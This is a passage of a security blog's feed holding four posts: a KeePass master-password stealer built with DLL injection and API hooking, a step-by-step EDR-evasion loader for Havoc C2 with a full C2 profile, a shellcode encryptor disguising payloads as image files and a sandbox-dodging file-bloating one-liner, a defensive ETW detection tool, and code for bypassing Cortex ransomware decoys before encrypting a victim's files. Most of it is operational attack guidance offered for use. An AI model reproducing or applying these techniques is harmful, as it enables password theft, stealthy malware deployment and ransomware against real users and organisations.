&lt;p&gt;in this blog post we are going to build our keepass stealer that will utilize hooking technique to steal the master password, without user knowledge.&lt;/p&gt;

&lt;h2 id=&quot;what-is-hooking-&quot;&gt;What is hooking ?&lt;/h2&gt;

&lt;p&gt;Function hooking is when a program intercepts calls to a function in order to change or monitor its behavior. It’s like putting a “middleman” between the original function and whatever is calling it, so you can see what’s happening or modify the results before they reach the program.&lt;/p&gt;

&lt;p&gt;this technique is used by EDRs to monitor WinAPI calls but today we are utlizing it to steal the master password from keepass.&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;we will use library called EasyHook to Implement the Hooks.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h2 id=&quot;what-to-hook-&quot;&gt;what to hook ?&lt;/h2&gt;

&lt;p&gt;we can use tools like &lt;a href=&quot;http://www.rohitab.com/apimonitor&quot;&gt;apimonitor&lt;/a&gt; to get what is the nature of WinAPIs are the application is using so we can know what to hook exactly.&lt;/p&gt;

&lt;h2 id=&quot;rtldecryptmemory&quot;&gt;RtlDecryptMemory&lt;/h2&gt;

&lt;p&gt;after using API Monitor we can notice the application is using RtlDecryptMemory (SystemFunction041) to decrypts memory contents.&lt;/p&gt;

&lt;p&gt;function prototype :&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;NTSTATUS RtlDecryptMemory(
  [in, out] PVOID Memory,
  [in]      ULONG MemorySize,
  [in]      ULONG OptionFlags
);
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;link to microsoft docs: &lt;a href=&quot;https://learn.microsoft.com/en-us/windows/win32/api/ntsecapi/nf-ntsecapi-rtldecryptmemory&quot;&gt;https://learn.microsoft.com/en-us/windows/win32/api/ntsecapi/nf-ntsecapi-rtldecryptmemory&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;We can notice that the function is in : &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Advapi32.dll&lt;/code&gt; based on microsoft documentation.&lt;/p&gt;

&lt;h2 id=&quot;implementation&quot;&gt;Implementation&lt;/h2&gt;

&lt;p&gt;you can find my full implementation in Csharp in the following github repo :&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;https://github.com/casp3r0x0/KeePassStealer&quot;&gt;https://github.com/casp3r0x0/KeePassStealer&lt;/a&gt;&lt;/p&gt;

&lt;h3 id=&quot;project-structure&quot;&gt;project structure:&lt;/h3&gt;
&lt;ul&gt;
  &lt;li&gt;test –&amp;gt; DLL project that will be injected in keepass.exe process (hooking mechansim)&lt;/li&gt;
  &lt;li&gt;injector –&amp;gt;  exe  project that will inject into the target process&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;All you need is to run injector.exe&lt;/p&gt;

&lt;h3 id=&quot;injectorexe-plan&quot;&gt;Injector.exe plan:&lt;/h3&gt;

&lt;ol&gt;
  &lt;li&gt;find keepass process&lt;/li&gt;
  &lt;li&gt;save the dll from memory to %temp%&lt;/li&gt;
  &lt;li&gt;Inject into target process&lt;/li&gt;
  &lt;li&gt;password will be logged into %temp%/AAAA.txt&lt;/li&gt;
  &lt;li&gt;done.&lt;/li&gt;
&lt;/ol&gt;

&lt;blockquote&gt;
  &lt;p&gt;Note you can kill KeePass.exe first so the user re-enter his password.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h3 id=&quot;proof&quot;&gt;Proof&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;https://www.pwntricks.com/assets/images/6/1.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

</description>
        <pubDate>Fri, 29 Aug 2025 00:00:00 +0000</pubDate>
        <link>https://www.pwntricks.com//KeePass-Stealer-Using-Hooking</link>
        <link href="https://www.pwntricks.com/KeePass-Stealer-Using-Hooking"/>
        <guid isPermaLink="true">https://www.pwntricks.com/KeePass-Stealer-Using-Hooking</guid>
      </item>
    
      <item>
        <title>Bypass Cortexxdr And Sophos Edr Like Real Red Teamer</title>
        <description>&lt;h2 id=&quot;about&quot;&gt;About&lt;/h2&gt;

&lt;p&gt;in this blog post we are going to build our own loader that will load C2 (beacon/demon) in memory and execute and bypass top tier EDRs like PaloAlto Cortex XDR and Sophos EDR&lt;/p&gt;

&lt;p&gt;C2 used in the blog post is havoc C2&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;https://github.com/HavocFramework/Havoc/&quot;&gt;https://github.com/HavocFramework/Havoc/&lt;/a&gt;&lt;/p&gt;

&lt;h2 id=&quot;who-is-the-real-red-teamer-&quot;&gt;who is the real red teamer ?&lt;/h2&gt;

&lt;p&gt;when we approuch linkedin posts about bypasses the EDRs, we need to answer the followings :&lt;/p&gt;

&lt;p&gt;1- you bypass what ? 
    what extacly you bypass is the callback fully functional ? can you dump lsass ? can you do a lateral movment ? and so on ? for sure you will not bypass every thing at some stages some of the actions will be logged and alerted your actions should be well thought out. 
    One wrong move could easily undo all the work you’ve put into Red Team engagement.&lt;/p&gt;

&lt;p&gt;2- can you operate ? 
executeing a reverse shell and call it a bypass it is a joke why ?&lt;br /&gt;
the payload will not be used in a real world becuase in a mature environment your payload will face multiple obstacles :&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;intial access (Email Security ,Security Policies,etc…)&lt;/li&gt;
  &lt;li&gt;threat intelligence tools that will keep hunting for your C2 server and block it before even your paylaod exeucted&lt;/li&gt;
  &lt;li&gt;proxy like skyhigh and zscaler or firewalls&lt;/li&gt;
  &lt;li&gt;SOC monitring&lt;/li&gt;
  &lt;li&gt;EDRs&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;bypassing the EDR is half of the story if you need to conduct full red team engagment form A to Z you need to know how to bypass all of them. which is hard for now days but still possible for sure to do by skilled red teamers.&lt;/p&gt;

&lt;p&gt;today we are going to bypass Cortex XDR and Sophos EDR so we are targeting last stage only for sure that not an easy task but consider it one of the hardest stage.&lt;/p&gt;

&lt;h2 id=&quot;the-loader-plan&quot;&gt;the loader plan&lt;/h2&gt;

&lt;p&gt;the plan as following :&lt;/p&gt;

&lt;p&gt;patch ETW  –&amp;gt; Decrypt Shell Code using AES from resources –&amp;gt; unhook (ntdll.dll , kernelbase) –&amp;gt; ModuleStomping –&amp;gt; local thread hijacking to execute the payload –&amp;gt; done !&lt;/p&gt;

&lt;h2 id=&quot;the-why-questions--answers-&quot;&gt;The Why Questions , Answers ?&lt;/h2&gt;

&lt;ul&gt;
  &lt;li&gt;why we patch ETW ?&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;to bypass ETW (event trace for windows) telemetry which can be used by EDRs to hunt what we are doing in the memory (please note this is half bypass for user mode only there is ETW on kernel mode also)&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;why we do encrypt the shellcode in the resources ?&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;to bypass static scanners&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;why we do the unhooking ?&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;to bypass the user mode hooks that was implemneted by the EDR, what is hooking? hooking is basically add a monitor (jmp) before calling any windows API function that will pass the arugments that already passed to the original function to EDR to be scanned before execution. it is like intercepting the calling of the function, we will bypass it today by get a fresh copy from the desk and remove the hooked &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ntdll.dll&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;kernelbase&lt;/code&gt; with a new fresh copy.&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;why Module Stomping?&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Module Stomping is a code injection technique where the shellcode is injected into the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;.text&lt;/code&gt; section of a legitimate sacrificial DLL file, which is a better place to write a payload than a private committed memory region.&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;why local thread hijacking ?&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;this will create a thread with dummy function to run and suspend it and control the RIP to point to the shellcode and resume the thread execution, this may help to bypass the memory scanners becuase when a thread is created a memory scanner can be triaged by the EDR kernel mode to scan the thread.&lt;/p&gt;

&lt;h2 id=&quot;implementation&quot;&gt;Implementation&lt;/h2&gt;

&lt;p&gt;you can find my full implementation in Csharp for this loader in the following github repo :&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;https://github.com/casp3r0x0/LoaderGate&quot;&gt;https://github.com/casp3r0x0/LoaderGate&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;build the demon payload settings :&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://www.pwntricks.com/assets/images/5/1.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;And :&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://www.pwntricks.com/assets/images/5/2.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;why 60 seconds ? if sleep was interactive or less seconds this will make the shellcode in clear state in memory that will be easilly picked up using memory scanners by EDR&lt;/p&gt;
&lt;/blockquote&gt;

&lt;blockquote&gt;
  &lt;p&gt;sleep means when payload must callback to server and check for tasks to be executed when payload sleep it will be encrypted until the next call will be decrypted and execute the task.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h2 id=&quot;havoc-c2-porfile-settings&quot;&gt;Havoc C2 porfile settings&lt;/h2&gt;

&lt;p&gt;below is the following Havoc c2 Profile :&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;Teamserver {
    Host = &quot;0.0.0.0&quot;
    Port = 40056

    Build {
        Compiler64 = &quot;/usr/bin/x86_64-w64-mingw32-gcc&quot;
        Compiler86 = &quot;/usr/bin/i686-w64-mingw32-gcc&quot;
        Nasm = &quot;/usr/bin/nasm&quot;
    }
}

Operators {
    user &quot;casp3r0x0&quot; {
        Password = &quot;123&quot;
    }
}

Listeners {
    Http {
        Name         = &quot;teams profile - http&quot;
        Hosts        = [
            &quot;5pider.net&quot;, # our callback host.
        ]
        HostBind     = &quot;0.0.0.0&quot; # the address where the listener should bind to. 
        HostRotation = &quot;round-robin&quot;
        PortBind     = 443
        PortConn     = 443
        Secure       = false # for now disabled so we can see the traffic content. (but alaways enabled this!!!)
        KillDate     = &quot;2024-01-02 12:00:00&quot;
        UserAgent    = &quot;Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36&quot;

        Uris = [
            &quot;/Collector/2.0/settings/&quot;
        ]

        Headers = [
            &quot;Accept: json&quot;,
            &quot;Referer: https://teams.microsoft.com/_&quot;,
            &quot;x-ms-session-id: f73c3186-057a-d996-3b63-b6e5de6ef20c&quot;,
            &quot;x-ms-client-type: desktop&quot;,
            &quot;x-mx-client-version: 27/1.0.0.2021020410&quot;,
            &quot;Accept-Encoding: gzip, deflate, br&quot;,
            &quot;Origin: https://teams.microsoft.com&quot;
        ]

        Response {
            Headers = [
                &quot;Content-Type: application/json; charset=utf-8&quot;,
                &quot;Server: Microsoft-HTTPAPI/2.0&quot;,
                &quot;X-Content-Type-Options: nosniff&quot;,
                &quot;x-ms-environment: North Europe-prod-3,_cnsVMSS-6_26&quot;,
                &quot;x-ms-latency: 40018.2038&quot;,
                &quot;Access-Control-Allow-Origin: https://teams.microsoft.com&quot;,
                &quot;Access-Control-Allow-Credentials: true&quot;,
                &quot;Connection: keep-alive&quot;
            ]
        }

    }

    Smb {
        Name     = &quot;Pivot - Smb&quot;
        PipeName = &quot;demon_pipe&quot;
    }
}

# this is optional. if you dont use it you can remove it.
Service {
    Endpoint = &quot;service-endpoint&quot;
    Password = &quot;service-password&quot;
}

Demon {
    Sleep = 2
    Jitter = 20

    TrustXForwardedFor = false

    Injection {
        Spawn64 = &quot;C:\\Windows\\System32\\Werfault.exe&quot;
        Spawn32 = &quot;C:\\Windows\\SysWOW64\\Werfault.exe&quot;
    }
}
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;powershell encrypter it will save the payload as &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;image.pngx&lt;/code&gt; you may change the IV and the Key:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;# Load AES encryption functions
Add-Type -TypeDefinition @&quot;
using System;
using System.IO;
using System.Security.Cryptography;
using System.Text;

public class AesEncryptor
{
    private static byte[] key = Encoding.UTF8.GetBytes(&quot;1234567890abcdef123656729x1zgwgH&quot;); // 32 bytes key
    private static byte[] iv = Encoding.UTF8.GetBytes(&quot;abcdef1299536189&quot;); // 16 bytes IV

    public static byte[] Encrypt(string filePath)
    {
        using (Aes aesAlg = Aes.Create())
        {
            aesAlg.Key = key;
            aesAlg.IV = iv;

            ICryptoTransform encryptor = aesAlg.CreateEncryptor(aesAlg.Key, aesAlg.IV);
            using (MemoryStream msEncrypt = new MemoryStream())
            {
                using (CryptoStream csEncrypt = new CryptoStream(msEncrypt, encryptor, CryptoStreamMode.Write))
                {
                    using (FileStream fsInput = new FileStream(filePath, FileMode.Open, FileAccess.Read))
                    {
                        fsInput.CopyTo(csEncrypt);
                    }
                }
                return msEncrypt.ToArray();
            }
        }
    }
}
&quot;@ -Language CSharp

# Define file to encrypt
$filePath = &quot;.\demon.x64.bin&quot;  # Replace with the actual EXE filename if different
$encryptedData = [AesEncryptor]::Encrypt($filePath)

# Save the encrypted data to a new file
$encryptedFilePath = &quot;.\image.pngx&quot;
[IO.File]::WriteAllBytes($encryptedFilePath, $encryptedData)

Write-Host &quot;Encryption complete. Encrypted file saved to: $encryptedFilePath&quot;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;after downloading the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;LoaderGate&lt;/code&gt; project go to :&lt;/p&gt;

&lt;p&gt;right click on project click properties –&amp;gt; go to resources –&amp;gt; remove the old one and remove the old one from the resource folder in the soulution explorer –&amp;gt; drag and drope the new one that you created into the resouces settings –&amp;gt; click on the image.pngx from (solution explorer) –&amp;gt; make sure that the build action is Embedded Resources&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://www.pwntricks.com/assets/images/5/3.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;build the solution you can find the final payload in &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;\bin\x64\Release\laaas.exe&lt;/code&gt; you can use any dot net obfuscating tool.&lt;/p&gt;

&lt;h2 id=&quot;simple-sandbox-bypass-trick-file-bloating&quot;&gt;simple sandbox bypass trick &lt;em&gt;File Bloating&lt;/em&gt;&lt;/h2&gt;

&lt;p&gt;when the payload is not known most of the EDRs will try to upload the payload to an online sandbox, we can use technique called file File Bloating wich will make the size of the payload bigger and in this way the payload will not be uploaded to the sandbox.&lt;/p&gt;

&lt;p&gt;below powershell oneliner to make the size of the payload +150 Mega Byte&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;$exe = &quot;.\laaas.exe&quot;; $size = 150MB; $fs = [System.IO.File]::OpenWrite($exe); $fs.SetLength($size); $fs.Close()
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h2 id=&quot;proof-paloalto-cortex-xdr&quot;&gt;&lt;em&gt;Proof PaloAlto Cortex XDR&lt;/em&gt;&lt;/h2&gt;

&lt;h3 id=&quot;whoami&quot;&gt;&lt;em&gt;whoami&lt;/em&gt;&lt;/h3&gt;

&lt;p&gt;&lt;img src=&quot;https://www.pwntricks.com/assets/images/5/WhoamiCortex.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;h3 id=&quot;screenshot&quot;&gt;&lt;em&gt;screenshot&lt;/em&gt;&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;https://www.pwntricks.com/assets/images/5/CortexScreenshot.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;h2 id=&quot;proof-sophos-edr&quot;&gt;&lt;em&gt;Proof Sophos EDR&lt;/em&gt;&lt;/h2&gt;

&lt;h3 id=&quot;whoami-1&quot;&gt;&lt;em&gt;whoami&lt;/em&gt;&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;https://www.pwntricks.com/assets/images/5/SophosWhoami.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;h3 id=&quot;screenshot-1&quot;&gt;&lt;em&gt;screenshot&lt;/em&gt;&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;https://www.pwntricks.com/assets/images/5/SophosScreenshot.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

</description>
        <pubDate>Sat, 24 May 2025 00:00:00 +0000</pubDate>
        <link>https://www.pwntricks.com//Bypass-CortexXDR-and-Sophos-EDR-like-real-red-teamer</link>
        <link href="https://www.pwntricks.com/Bypass-CortexXDR-and-Sophos-EDR-like-real-red-teamer"/>
        <guid isPermaLink="true">https://www.pwntricks.com/Bypass-CortexXDR-and-Sophos-EDR-like-real-red-teamer</guid>
      </item>
    
      <item>
        <title>Anzu Etw Nextgeneration Of Soc Rules</title>
        <description>&lt;h2 id=&quot;about&quot;&gt;About&lt;/h2&gt;

&lt;p&gt;in this blog we are going to talk about my recent project called Anzu ETW , it is a tool that I developed to allow SOC/DFIR team to create plugins that use ETW or any other telemtry to log or response against cyber threats.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://www.pwntricks.com/assets/images/4/anzu-in-mythology.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;h2 id=&quot;what-is-etw-&quot;&gt;what is ETW ?&lt;/h2&gt;

&lt;p&gt;Event Tracing for Windows (ETW) is a high-performance logging framework in Windows that enables real-time event collection from both user-mode applications and kernel components. It is widely used for performance monitoring, security analysis, and debugging, as it allows event providers (system processes, applications) to generate logs that can be consumed by tools like PerfView, Sysmon, and Windows Performance Analyzer. ETW is efficient, supports dynamic event filtering, and is used by EDR solutions to detect threats like process injection and API abuse. While essential for security monitoring.&lt;/p&gt;

&lt;h2 id=&quot;why-i-created-anzu-etw-&quot;&gt;why I created ANZU ETW ?&lt;/h2&gt;

&lt;p&gt;I created Anzu ETW , when I create the Cortex ransowmare protection bypass you can found here &lt;a href=&quot;https://www.pwntricks.com/Bypass-cortex-ransomware-protection&quot;&gt;https://www.pwntricks.com/Bypass-cortex-ransomware-protection&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;SOC team can never develop a rule to reponse to such new threats or bypasses (new techniques) so I was think why there isn’t any tool that can let SOC/DFIR team to develop custom plugin (rules) that can utlize ETW ? and there was no tool that can provide such an ability.&lt;/p&gt;

&lt;h2 id=&quot;the-idea-&quot;&gt;the idea ?&lt;/h2&gt;

&lt;p&gt;the idea is provide a tool that can make the usage of the ETW for the SOC much more easy and flexible , the EDRs is using ETW but they didn’t provide any capabilities to SOC team to develop there own plugins (rules).&lt;/p&gt;

&lt;p&gt;Anzu Project is solving the following issues:&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;SOC can not take ETW logs due the larg data it generate ,using AnzuETW you can specify exactly what log to be logged using custom plugin you can write in C#&lt;/li&gt;
  &lt;li&gt;it allow SOC team to create plugins that utlize ETW and log and reponse to the threat that including behavior analysis plugins that can be written by the SOC team&lt;/li&gt;
  &lt;li&gt;using AnzuETW can provide you logs that normaly you can not get.&lt;/li&gt;
  &lt;li&gt;using AnzuETW can let the SOC team to develop their own plugins responed to specific scenario or new technique not just rule it can be based on behavior.&lt;/li&gt;
&lt;/ol&gt;

&lt;h2 id=&quot;installation&quot;&gt;installation&lt;/h2&gt;

&lt;p&gt;here you can find the Anzu ETW project developed by me in C# :&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;https://github.com/casp3r0x0/AnzuETW/&quot;&gt;https://github.com/casp3r0x0/AnzuETW/&lt;/a&gt;&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;Anzu =&amp;gt; AnzuETW with console window you can use this as testing&lt;/li&gt;
  &lt;li&gt;AnzuService =&amp;gt; AnzuETW Service that can run in background same as console version&lt;/li&gt;
  &lt;li&gt;CortexRansomwareBypassDetectPlugin =&amp;gt; custom plugin that I wrote to reponde to custom threat that bypass the ransomware protection developed by cortex using behavior analsyis (this can not be done without Anzu ^_^)&lt;/li&gt;
  &lt;li&gt;LogNetwork =&amp;gt; plguin to log network traffic&lt;/li&gt;
  &lt;li&gt;LogProviderExample =&amp;gt; example plugin to log every command line.&lt;/li&gt;
  &lt;li&gt;install.ps1 =&amp;gt; to install the service for anzu&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;you can download the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;LogProviderExample&lt;/code&gt; as template and edit it to create your own plugin.&lt;/p&gt;

&lt;p&gt;first you can download the AnzuService project and compile it from the source or download the compiled binary from the following link :&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;https://github.com/casp3r0x0/AnzuETW/tree/main/AnzuService/AnzuService/bin/x64/Debug&quot;&gt;https://github.com/casp3r0x0/AnzuETW/tree/main/AnzuService/AnzuService/bin/x64/Debug&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;create folder in &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;C:\&lt;/code&gt; called &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;anzu&lt;/code&gt; and copy the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;install.ps1&lt;/code&gt; and create folder called &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;plguins&lt;/code&gt; you can change this from the code and recompile also you can use share folder in the network to get the plugins from.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://www.pwntricks.com/assets/images/4/1.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;run the installation script that will create the anzu service for you.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://www.pwntricks.com/assets/images/4/2.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;now you can place the plugins in the plugins folder, please note that the plugins name is not matter, also there is no need for restart after adding a plguin should.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://www.pwntricks.com/assets/images/4/3.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;please note that if you develop custom plugin use the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;LogProviderExample&lt;/code&gt; project it use &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;fody&lt;/code&gt; automatically to compile the project into one &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;dll&lt;/code&gt; file.&lt;/p&gt;

&lt;p&gt;copy only the following dll file to the plugins folder.
&lt;img src=&quot;https://www.pwntricks.com/assets/images/4/4.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;anzu will create a log source in Windows logs , SOC can retrive them into the SIEM solutions, see the following:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://www.pwntricks.com/assets/images/4/5.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;h2 id=&quot;how-the-plugin-works-&quot;&gt;how the plugin works ?&lt;/h2&gt;

&lt;p&gt;you can develop the plugin just like there is no intgeration Anzu will log every console output as log and save it in the windows event logs.&lt;/p&gt;

&lt;p&gt;you can just ask ChatGPT to create a plugin for you for example :&lt;/p&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;create a C# code that can monitor using ETW any file read for the chrome cooiks and passwords 
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;then you can use the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;LogProviderExample&lt;/code&gt; as template and compile the project to get your own plugin!&lt;/p&gt;

&lt;p&gt;simple right?&lt;/p&gt;

&lt;h2 id=&quot;create-a-behaviour-detection-for-my-own-cortex-ransomware-bypass-&quot;&gt;create a behaviour detection for my own cortex ransomware bypass !&lt;/h2&gt;

&lt;p&gt;the detect is also simple I have created the plugin you can find it in the Anzi github repo &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;CortexRansomwareBypassDetectPlugin&lt;/code&gt; project, the detect is by monitor all the UNC lookups that is done on the machine if any lookup contains &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;users&lt;/code&gt; likly this a malicious no normal software is doing a dirctory listing through UNC, right ?&lt;/p&gt;

&lt;p&gt;the plugin will alert and kill the process!&lt;/p&gt;

&lt;h2 id=&quot;proof&quot;&gt;proof&lt;/h2&gt;

&lt;p&gt;&lt;img src=&quot;https://www.pwntricks.com/assets/images/4/6.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

</description>
        <pubDate>Sat, 15 Mar 2025 00:00:00 +0000</pubDate>
        <link>https://www.pwntricks.com//Anzu-ETW-NextGeneration-of-SOC-rules</link>
        <link href="https://www.pwntricks.com/Anzu-ETW-NextGeneration-of-SOC-rules"/>
        <guid isPermaLink="true">https://www.pwntricks.com/Anzu-ETW-NextGeneration-of-SOC-rules</guid>
      </item>
    
      <item>
        <title>Bypass Cortex Ransomware Protection</title>
        <description>&lt;h2 id=&quot;about&quot;&gt;About&lt;/h2&gt;

&lt;p&gt;in this blog we are going to bypass the ransomware protection from PaloAlto Cortex EDR!&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://www.pwntricks.com/assets/images/3/cortex.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;h2 id=&quot;how-the-protection-is-working-&quot;&gt;how the protection is working ?&lt;/h2&gt;

&lt;p&gt;Cortex EDR is creating a dummy (decoy) files that is not visable to the users but, when any software interact with it then the Cortex EDR will know this is ransomware attack.&lt;/p&gt;

&lt;h3 id=&quot;for-example-if-we-list-the-files-using-the-following-c-code&quot;&gt;for example if we list the files using the following C# code&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-C#&quot;&gt;string[] files1 = Directory.GetFiles(Directory.GetCurrentDirectory());
foreach (var file in files1 ){ 
    Console.WriteLine(file);
}
Console.ReadLine();

&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;the result will contains files that not existed but visiable to us due the cortex EDR:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://www.pwntricks.com/assets/images/3/listofdecoy.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;so if we interact with these files the Cortex EDR will detect the ransomware attack and block it.&lt;/p&gt;

&lt;h2 id=&quot;the-bypass&quot;&gt;The Bypass&lt;/h2&gt;
&lt;p&gt;the bypass is simple by using UNC to list the files we can detect the real files so the approuch is simple :&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;list all the files using UNC&lt;/li&gt;
  &lt;li&gt;list all the files normally&lt;/li&gt;
  &lt;li&gt;compare the 2 lists now we can detect the decoy files and avoid interact with them !&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;using UNC to list the files :&lt;/p&gt;

&lt;pre&gt;&lt;code class=&quot;language-C#&quot;&gt;string[] files1 = Directory.GetFiles(&quot;\\\\127.0.0.1\\C$\\users\\dell\\downloads\\&quot;);
foreach (var file in files1 ){ 
    Console.WriteLine(file);
}
Console.ReadLine();
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;the result compare with the normal listing&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://www.pwntricks.com/assets/images/3/comapre.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;h2 id=&quot;putting-all-to-gather&quot;&gt;putting all to gather&lt;/h2&gt;

&lt;ol&gt;
  &lt;li&gt;list files normally&lt;/li&gt;
  &lt;li&gt;list files using UNC&lt;/li&gt;
  &lt;li&gt;compare to detect the decoy and the real files&lt;/li&gt;
  &lt;li&gt;add the real files to a list&lt;/li&gt;
  &lt;li&gt;loop through the real files and encrypt them&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;here you can find the full implementation in C# :&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;https://github.com/casp3r0x0/CortexRansomBypass/&quot;&gt;https://github.com/casp3r0x0/CortexRansomBypass/&lt;/a&gt;&lt;/p&gt;

&lt;h2 id=&quot;result-&quot;&gt;result !&lt;/h2&gt;

&lt;p&gt;before encryption:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://www.pwntricks.com/assets/images/3/last1.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;after encryption:&lt;/p&gt;

&lt;p&gt;all the files in current dirctory is encrypted :&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://www.pwntricks.com/assets/images/3/last2.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;h2 id=&quot;proof&quot;&gt;proof&lt;/h2&gt;

&lt;p&gt;&lt;img src=&quot;https://www.pwntricks.com/assets/images/3/last3.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

</description>
        <pubDate>Sat, 08 Feb 2025 00:00:00 +0000</pubDate>
        <link>https://www.pwntricks.com//Bypass-cortex-ransomware-protection</link>
